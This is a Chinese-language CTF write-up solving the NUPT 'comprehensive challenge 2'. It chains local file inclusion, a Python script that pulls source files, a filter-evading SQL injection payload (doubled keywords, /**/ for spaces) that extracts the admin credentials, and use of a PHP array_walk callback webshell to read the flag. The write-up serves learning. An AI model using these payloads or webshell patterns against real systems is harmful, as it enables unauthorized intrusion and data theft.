南邮CTF综合题2----小白的第一篇
在自己加别人的WP的帮助下终于完成了这道十分有价值的CTF题目
首先我们看到题目的主体界面
其他的都没有意义,我们首先看到的是输入框,很自然的就想到XSS或者SQL,但是发表留言之后弹出非XSS的弹框,这就意味着这道题很大可能是SQL注入
我们先看留言搜索输入1后
这需要修改USER-AGENT但是我们并不知道这个可以通过验证的USER-AGENT是什么,所以往下看
看到一个CMS说明
很明显的提醒了,我们应该先从这里入手
看文章内容,他给了两个提示
一个是文件:config.php,index.php,passencode.php,say.php
另一个是admin的表结构,这里更加确信是SQL注入了
注意到这里的URL是应该是存在文件包含的(不然给我们文件名称干什么),我们试一下
file=index.php
果然,文件的内容被都取出来了
我们先把他下载下来,这里我写了一个脚本
import requests
import codecs
from bs4 import BeautifulSoup
url="http://cms.nuptzj.cn/about.php?file="
file_list = ["index.php","passencode.php","say.php","config.php","antixss.php","about.php","so.php","antiinject.php","xlcteam.php"]
for i in file_list:
res = requests.get(url+i)
print("dowload "+i)
if res.status_code==200:
res.encoding="utf8"
with codecs.open(i,"w+","utf8") as handle:
print("done")
text = BeautifulSoup(res.text,"lxml").text
handle.write(text)
当然里面的文件有些是后来发现的,我就先放在这里
先看index.php发现其包含了antixss.php应该是预防XSS攻击的,passencode.php是将用户输入的密码存储为ASCII码的形式 say.php是处理用户留言的,这时就陷入了苦恼
突然发现,我们忘记了一个文件------读取文件的about.php,下载下来之后发现存在敏感目录loginxlcteam,看名字好像是登陆的
在URL中访问,既然是目录就应该有index.php吧,先试一试
成功进入后台登陆界面,但是。。。。各种用户名不存在。
查看源码存在数据库操作的php文件还有so.php,这个就是当时搜索的php,先下载下来
惊奇的发现里面包含了antiinject.php这个应该就是防止SQL注入的文件了,下载下载
文件过滤了敏感的单词,但是双重绕过就好了
丧心病狂的过滤了空格,可以用/**/来绕过
先看一下搜索的源码
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
这里的$id没有用''包裹,所以直接注入就好
先看一下回显
soid=-1/**/UNunionION/**/SELselectECT/**/1,2,3,4
发现共四个参数,显示的是2,3
因为之前已经了解到了表的结构,所以直接注入
soid=-1/**/UNunionION/**/SELselectECT/**/1,usernam=e,userpas=s,4/**/fro=m/**/admi=n
得到admin的password
102 117 99 107 114 117 110 116 117
之前说过password是ASCII码存储的,所以解码得到admin的密码
fuckruntu
登陆
emmmm一句话木马,我们先把源码下载下来
'|.*|e',);
array_walk($arr, $e, '');
?>
三个参数的数组回调后门
先看一下目录下面有什么文件
虽然乱码,但我们还是看到了最后那个flag
看看前面的是什么
直接在文件包含那里面查看
成功拿到flag